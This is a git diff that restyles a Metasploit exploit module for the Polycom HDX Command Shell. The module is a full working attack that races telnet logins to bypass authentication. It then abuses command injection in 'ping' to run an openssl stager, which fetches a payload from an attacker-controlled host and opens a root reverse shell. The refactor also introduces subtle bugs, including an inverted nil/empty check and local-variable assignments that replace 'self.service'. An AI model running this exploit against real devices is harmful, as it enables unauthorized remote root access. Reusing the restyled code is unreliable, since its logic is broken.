diff --git a/modules/exploits/unix/misc/psh_auth_bypass.rb b/modules/exploits/unix/misc/psh_auth_bypass.rb index 746f6b47f5..a2f75173c6 100644 --- a/modules/exploits/unix/misc/psh_auth_bypass.rb +++ b/modules/exploits/unix/misc/psh_auth_bypass.rb @@ -8,236 +8,239 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Report + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Polycom Command Shell Authorization Bypass', - 'Alias' => 'psh_auth_bypass', - 'Author' => [ 'Paul Haas ' ], - 'DisclosureDate' => 'Jan 18 2013', - 'Description' => %q{ - The login component of the Polycom Command Shell on Polycom HDX - Video End Points running software versions 3.0.5 and earlier - is vulnerable to an authorization bypass when simultaneous - connections are made to the service, allowing remote network - attackers to gain access to a sandboxed telnet prompt without - authentication. Versions prior to 3.0.4 contain OS command - injection in the ping command which can be used to execute - arbitrary commands as root. - }, - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], - [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ] - ], - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Privileged' => true, - 'Targets' => [ [ "Universal", {} ] ], - 'Payload' => - { - 'Space' => 8000, - 'DisableNops' => true, - 'Compat' => { 'PayloadType' => 'cmd',}, - }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, - 'DefaultTarget' => 0 - )) + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Polycom Command Shell Authorization Bypass', + 'Alias' => 'psh_auth_bypass', + 'Author' => [ 'Paul Haas ' ], + 'DisclosureDate' => 'Jan 18 2013', + 'Description' => %q( + The login component of the Polycom Command Shell on Polycom HDX + Video End Points running software versions 3.0.5 and earlier + is vulnerable to an authorization bypass when simultaneous + connections are made to the service, allowing remote network + attackers to gain access to a sandboxed telnet prompt without + authentication. Versions prior to 3.0.4 contain OS command + injection in the ping command which can be used to execute + arbitrary commands as root. + ), + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], + [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], + [ 'EDB', '24494'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd' } + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, + 'DefaultTarget' => 0 + ) + ) - register_options( - [ - Opt::RHOST(), - Opt::RPORT(23), - OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), - OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) - ],self.class) - register_advanced_options( - [ - OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), - OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) - ], self.class) - end + register_options( + [ + Opt::RHOST(), + Opt::RPORT(23), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) + ], self.class + ) + register_advanced_options( + [ + OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), + OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) + ], self.class + ) + end - def check - connect - sock.put(Rex::Text.rand_text_alpha(rand(5)+1) + "\n") - ::IO.select(nil, nil, nil, 1) - res = sock.get - disconnect + def check + connect + sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") + ::IO.select(nil, nil, nil, 1) + res = sock.get + disconnect - if !(res and res.length > 0) - return Exploit::CheckCode::Safe - end + if !res && !res.empty? + return Exploit::CheckCode::Safe + end - if (res =~ /Welcome to ViewStation/) - return Exploit::CheckCode::Appears - end + if res =~ /Welcome to ViewStation/ + return Exploit::CheckCode::Appears + end - return Exploit::CheckCode::Safe - end + Exploit::CheckCode::Safe + end - def exploit - # Keep track of results (successful connections) - results = [] + def exploit + # Keep track of results (successful connections) + results = [] - # Random string for password - password = Rex::Text.rand_text_alpha(rand(5)+1) + # Random string for password + password = Rex::Text.rand_text_alpha(rand(5) + 1) - # Threaded login checker - max_threads = datastore['THREADS'] - cur_threads = [] + # Threaded login checker + max_threads = datastore['THREADS'] + cur_threads = [] - # Try up to 100 times just to be sure - queue = [*(1 .. datastore['MAX_CONNECTIONS'])] + # Try up to 100 times just to be sure + queue = [*(1..datastore['MAX_CONNECTIONS'])] - print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") - while(queue.length > 0) - while(cur_threads.length < max_threads) + print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") + until queue.empty? + while cur_threads.length < max_threads - # We can stop if we get a valid login - break if results.length > 0 + # We can stop if we get a valid login + break unless results.empty? - # keep track of how many attempts we've made - item = queue.shift + # keep track of how many attempts we've made + item = queue.shift - # We can stop if we reach max tries - break if not item + # We can stop if we reach max tries + break unless item - t = Thread.new(item) do |count| - sock = connect - sock.put(password + "\n") - res = sock.get + t = Thread.new(item) do |count| + sock = connect + sock.put(password + "\n") + res = sock.get - while res.length > 0 - break if results.length > 0 + until res.empty? + break unless results.empty? - # Post-login Polycom banner means success - if (res =~ /Polycom/) - results << sock - break - # bind error indicates bypass is working - elsif (res =~ /bind/) - sock.put(password + "\n") - #Login error means we need to disconnect - elsif (res =~ /failed/) - break - #To many connections means we need to disconnect - elsif (res =~ /Error/) - break - end - res = sock.get - end - end + # Post-login Polycom banner means success + if res =~ /Polycom/ + results << sock + break + # bind error indicates bypass is working + elsif res =~ /bind/ + sock.put(password + "\n") + # Login error means we need to disconnect + elsif res =~ /failed/ + break + # To many connections means we need to disconnect + elsif res =~ /Error/ + break + end + res = sock.get + end + end - cur_threads << t - end + cur_threads << t + end - # We can stop if we get a valid login - break if results.length > 0 + # We can stop if we get a valid login + break unless results.empty? - # Add to a list of dead threads if we're finished - cur_threads.each_index do |ti| - t = cur_threads[ti] - if not t.alive? - cur_threads[ti] = nil - end - end + # Add to a list of dead threads if we're finished + cur_threads.each_index do |ti| + t = cur_threads[ti] + unless t.alive? + cur_threads[ti] = nil + end + end - # Remove any dead threads from the set - cur_threads.delete(nil) + # Remove any dead threads from the set + cur_threads.delete(nil) - ::IO.select(nil, nil, nil, 0.25) - end + ::IO.select(nil, nil, nil, 0.25) + end - # Clean up any remaining threads - cur_threads.each {|sock| sock.kill } + # Clean up any remaining threads + cur_threads.each { |sock| sock.kill } - if results.length > 0 - print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") - do_payload(results[0]) - else - print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") - end + if !results.empty? + print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") + do_payload(results[0]) + else + print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") + end + end - end + def do_payload(sock) + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) - def do_payload(sock) - # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise - cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + # Start a listener + start_listener(true) - # Start a listener - start_listener(true) + # Figure out the port we picked + cbport = service.getsockname[2] - # Figure out the port we picked - cbport = self.service.getsockname[2] + # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 + cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" + sock.put(cmd) - # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 - cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" - sock.put(cmd) + # Give time for our command to be queued and executed + 1.upto(5) do + ::IO.select(nil, nil, nil, 1) + break if session_created? + end + end - # Give time for our command to be queued and executed - 1.upto(5) do - ::IO.select(nil, nil, nil, 1) - break if session_created? - end - end + def stage_final_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end - def stage_final_payload(cli) - print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") - cli.put(payload.encoded + "\n") - end + def start_listener(ssl = false) + comm = datastore['ListenerComm'] + if comm == 'local' + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end - def start_listener(ssl = false) - comm = datastore['ListenerComm'] - if comm == "local" - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end + service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + ) - self.service = Rex::Socket::TcpServer.create( - 'LocalPort' => datastore['CBPORT'], - 'SSL' => ssl, - 'SSLCert' => datastore['SSLCert'], - 'Comm' => comm, - 'Context' => - { - 'Msf' => framework, - 'MsfExploit' => self, - }) + service.on_client_connect_proc = proc { |client| + stage_final_payload(client) + } - self.service.on_client_connect_proc = Proc.new { |client| - stage_final_payload(client) - } + # Start the listening service + service.start + end - # Start the listening service - self.service.start - end - - # Shut down any running services - def cleanup - super - if self.service - print_status("Shutting down payload stager listener...") - begin - self.service.deref if self.service.kind_of?(Rex::Service) - if self.service.kind_of?(Rex::Socket) - self.service.close - self.service.stop - end - self.service = nil - rescue ::Exception - end - end - end - - # Accessor for our TCP payload stager - attr_accessor :service + # Shut down any running services + def cleanup + super + if service + print_status("Shutting down payload stager listener...") + begin + service.deref if service.is_a?(Rex::Service) + if service.is_a?(Rex::Socket) + service.close + service.stop + end + service = nil + rescue ::Exception + end + end + end + # Accessor for our TCP payload stager + attr_accessor :service end - -